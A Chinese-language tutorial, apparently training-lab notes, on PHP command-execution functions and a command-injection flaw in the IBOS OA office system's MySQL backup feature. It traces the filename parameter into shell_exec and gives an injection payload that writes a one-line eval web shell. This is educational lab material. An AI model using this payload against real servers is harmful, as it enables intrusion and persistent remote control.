命令执行漏洞原理
用户输入的数据被当作系统命令执行(cmd命令、bash命令)
cmd命令写文件:
echo ‘<?php ?>’ > 1.php
命令执行函数
1、system()自动输出多行、可执行多条命令
例:system('ipconfig%26whoami'),想要执行多条命令,就需要&符号,在url传命令需要url编码,或者直接写|
2、exec()需要手动输出、只能输出最后一行
例:echo exec('whoami')、如果想要输出多行,就需要写文件,exec('ipconfig > 1.txt')
3、shell_exec()需要手动输出,能输出多行
例:echo shell_exec('ipconfig')
4、passthru()自动输出、可以输出多行
例:passthru(‘ipconfig’)
5、反引号`、反引号其实就是调用的shell_exec
例:echo `ipconfig`
6、popen(要执行的命令,参数),r是只读、w是写入
这个执行返回的是一个文件指针,需要fread来读取返回值
例:$a = popen('whoami',r);
echo fread($a,1024);
靶场实战
IBOSOA协同办公系统
我们全局搜索shell_exec
我们看第二个
shell_exec("{$mysqlBin}mysqldump --force --quick
$command1 --add-drop-table $command2 $command3 --host=\"{$db["host"]}\"
$command5 --user=\"{$db["username"]}\" --password=\"
{$db["password"]}\" \"{$db["dbname"]}\"
$tablesstr > $dumpFile");//mysqldump 备份导出函数,--force是mysqldump的一个参数,表示遇到错误会继续执行,--quick用于转储大的表
//--host数据库连接地址、--user用户名、--password密码
//这段代码的意思就是说找哪个数据库,找哪个文件,然后备份
如果能控制$dumpFile,那么我们就可以进行命令执行,
我们搜索$dumofile
$dumpFile = $backupFileName . "-%s.sql";
搜索$backupFileName
$backupFileName = self::BACKUP_DIR . "/" .
core\utils\str_replace(array("/", "\\", ".", "'"), "", $fileName);
//str_replace()查找并替换字符串,str_replace(要查找的值,要替换的值,被搜索的字符串)
所以我们现在来找$fileName
$fileName = core\utils\Env::getRequest("filename");
//获取filename的REQUEST传参
我们在备份这个地方选择系统MYSQL备份,抓包,然后改掉filename的传参
这里的&需要url编码,本地生成了123这个文件
这里的&符号生效了,那么意味着我们可以命令执行了,我们抓包,将filename后面的值改为666%26echo “<?php eval($_REQUEST[8])?>” >66.php %26888,因为前面过滤了.这个符号,没有点,这个php文件就没办法写入,这里要么找文件包含漏洞,要么找一个东西代替点
这里推荐一个学长的干货文章
https://bbs.zkaq.cn/t/4557.html
点有了,直接上马